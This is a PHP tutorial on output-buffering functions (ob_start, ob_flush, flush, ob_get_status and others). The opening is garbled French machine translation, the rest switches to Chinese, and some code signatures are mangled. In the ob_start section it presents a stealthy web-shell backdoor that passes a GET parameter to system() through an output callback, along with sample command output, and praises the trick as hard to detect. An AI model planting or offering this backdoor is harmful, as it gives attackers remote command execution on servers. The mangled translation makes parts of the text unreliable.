Maison  >  Article  >  développement back-end  >  Introduction et rôle de la mise en mémoire tampon de sortie PHP

Introduction et rôle de la mise en mémoire tampon de sortie PHP

墨辰丷
墨辰丷original
2018-06-09 10:08:261732parcourir

Cet article présente principalement l'introduction et la fonction de la mise en mémoire tampon de sortie PHP. Les amis intéressés peuvent s'y référer. J'espère qu'il sera utile à tout le monde.

Vue d'ensemble

J'ai déjà étudié la mise en mémoire tampon d'entrée et de sortie de PHP, mais après le déplacement du blog, l'article original n'a pas été trouvé. aujourd'hui et je l'ai republié d'ailleurs.

Introduction

En ce qui concerne la mise en mémoire tampon de sortie, la première chose dont il faut parler est ce qu'on appelle un tampon. Donnons un exemple simple pour illustrer son rôle : lorsque nous éditons un document, le système n'écrira pas sur le disque avant de le sauvegarder, mais l'écrira dans le tampon lorsque le tampon est plein ou qu'une opération de sauvegarde est effectuée. les données seront écrites sur le disque. Pour PHP, chaque opération de sortie comme echo est également écrite en premier dans le tampon php. Les données ne seront pas affichées sur le navigateur tant que le script n'est pas exécuté ou qu'une opération de mise en cache de sortie forcée n'est pas effectuée.
En fait, pour les programmeurs PHP, pratiquement chaque script implique une mise en mémoire tampon de sortie, mais dans la plupart des cas, nous n'avons pas besoin d'apporter de modifications à la mise en mémoire tampon de sortie. Aujourd’hui, utilisons un exemple pour faire une analyse détaillée de la fonction de contrôle du tampon de sortie PHP « Output Control ».
L'exemple suivant présente brièvement comment la mise en mémoire tampon de sortie existe dans les scripts généraux :

Le code est le suivant :

echo 'Apple';
echo 'IBM';
echo 'Microsoft'


Lorsque nous exécutons le script ci-dessus, le script When le premier écho est exécuté, le contenu correspondant ne sera pas affiché dans le navigateur, mais sera affiché dans un tampon, et ainsi de suite. Lorsque les trois échos sont exécutés (c'est-à-dire que le script se termine), le tampon sera All zone. le contenu est affiché dans le navigateur. Bien entendu, ce tampon a également une limite de taille, qui est définie en fonction de l'option output_buffering dans php.ini. Cela sera présenté en détail dans l'article suivant. Le contrôle du tampon de sortie abordé dans ce chapitre consiste à exploiter le contenu du tampon avant la fin du script.
L'exemple suivant peut mieux refléter l'application du contrôle du tampon de sortie :

Le code est le suivant :

echo 'Apple'; 
sleep(2);
echo 'IBM'; 
sleep(2);
echo 'Microsoft';

Nous devons attendre au moins 2 secondes pour voir le résultat de sortie , alors nous pouvons Pourquoi ne peut-il pas être affiché en temps réel ? C'est-à-dire que le contenu correspondant sera affiché lorsque le premier écho sera exécuté. À ce stade, vous devez utiliser la fonction de contrôle du tampon de sortie pour faire fonctionner le tampon. L'implémentation spécifique sera mise de côté pour l'instant et sera annoncée. à la fin de l'article.

Fonction

1. En PHP, il ne peut y avoir aucune fonction avant d'envoyer des fichiers d'en-tête tels que header(), session_start(), setcookie(), etc. , et la fonction de contrôle du tampon de sortie peut être utilisée pour sortir avant ces fonctions sans signaler d'erreur. En fait, cela n’est pas nécessaire, c’est une utilisation très rare.
2. Traitez le contenu de sortie, par exemple en générant des fichiers de cache statiques et en effectuant une sortie de compression gzip. Il s'agit d'une fonction couramment utilisée.
3. Capturez certaines sorties de fonctions impossibles à obtenir, telles que phpinfo(), var_dump(), etc. Ces fonctions afficheront les résultats de l'opération dans le navigateur, et si nous voulons traiter ces résultats, utilisez la mise en mémoire tampon de sortie. Les fonctions de contrôle sont un bonne façon de faire cela. Pour faire simple, ce type de fonction n'a pas de valeur de retour, et pour obtenir les données de sortie de ces fonctions, il faut utiliser la fonction de contrôle du tampon de sortie.
4. La dernière application est la sortie en temps réel de certaines données mentionnées dans l'introduction.

Éléments de configuration associés dans php.ini

Jetons un coup d'œil aux options liées au contrôle de la mise en mémoire tampon de sortie dans php.ini. Il y en a trois au total, à savoir : output_buffering , implicit_flush et output_handler.
1.output_buffering est désactivé par défaut. Lorsqu'il est activé, le tampon de sortie est automatiquement ouvert dans tous les scripts, c'est-à-dire que la fonction ob_start() est automatiquement exécutée dans chaque script sans appeler explicitement la fonction. Il peut également être défini sur un nombre entier, représentant le nombre maximum d'octets que le tampon peut stocker. Nous avons mentionné cet élément de configuration dans la description ci-dessous, exemple 1.
2. implicit_flush est désactivé par défaut. Lorsqu'il est activé, PHP enverra automatiquement le contenu du tampon après la sortie. Autrement dit, flush() est automatiquement exécuté après chaque élément de sortie. Bien entendu, une sortie valide ne fait pas seulement référence à des fonctions telles que echo et print, mais inclut également des segments HTML.
3.output_handler est par défaut nul et sa valeur ne peut être définie que sur un nom de fonction intégré. Sa fonction est de traiter toutes les sorties du script à l'aide de la fonction définie. Son utilisation est similaire à ob_start('function_name'), qui sera présentée ci-dessous.

Dans cet article, sauf indication contraire, les valeurs de output_buffering, implicit_flush et output_handler dans php.ini sont des valeurs par défaut.

Explication détaillée de la fonction de contrôle de sortie

ob_start()

bool ob_start ([ callback outputcallback[,intchunk_size [, bool $ effacer ]]] )

此函数大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

代码如下:

function dothing1($echo_thing){
    return ' #' . $echo_thing . '# ';
}
 
ob_start('dothing1');
echo 'Apple';
输出结果
#Apple#


从输出的结果可以看出单词两边被添加了“#”,也就是说在缓冲区内容输出时,运行了我们定义的 dothing1函数。

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

代码如下:

ob_start();
echo str_repeat('Apple', 1024);

输出结果:没有使用gzip压缩的情况下,输出内容大小为5.2KB。

输出结果:使用gzip压缩的情况下,文档大小小了很多,压缩花费了时间,所以时间长了。

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

1.ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
2.ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

代码如下:

$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的输出结果:
14 个目录 30,970,388,480 可用字节

如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

ob_get_contents()

string ob_get_contents ( void )
此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

代码如下:

ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()

ob_get_length()

此函数用来获取缓冲区内容的长度。

ob_get_level()
int ob_get_level ( void )
此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

代码如下:

ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();

运行后可以很明显的看出他们的嵌套关系。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

代码如下:

ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
运行结果 
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )

说明:
1.level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样
2.type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理
3.status为缓冲处理状态, 0为开始, 1为进行中, 2为结束
4.name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名
5.del 为是否运行了删除缓冲区操作

ob_flush()
void ob_flush ( void )
此函数的作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

flush()
void flush ( void )
这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

ob_flush()与flush()的区别

在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。 开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。

void ob_implicit_flush()

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。

其他相关函数

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

对一些数据进行实时的输出

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,现在我们回到简介中留下的问题:让例2的脚本实现实时的显示内容,而不需要等待4秒后出现所有内容。
我们可以根据缓存开启与否,有如下几种不同的写法,如果你在测试过程中无法出现预期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以尝试更大的值,部分浏览器即使这么做了,有可能还是无法出现效果,你可以尝试将php代码放入完整的html代码块body体内。下面代码的header(‘content-type:text/html;charset=utf-8');不要省略哦,否则部分浏览器查看不到效果。

代码如下:

ob_start(''); //这里我使用ob_start('ob_gzhandler')没有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #';  
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';

总结:以上就是本篇文的全部内容,希望能对大家的学习有所帮助。

相关推荐:

php针对数组的删除、转换、分组、排序

php针对文件操作及字符串加密的方法

php模拟post请求的三种常见用法

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn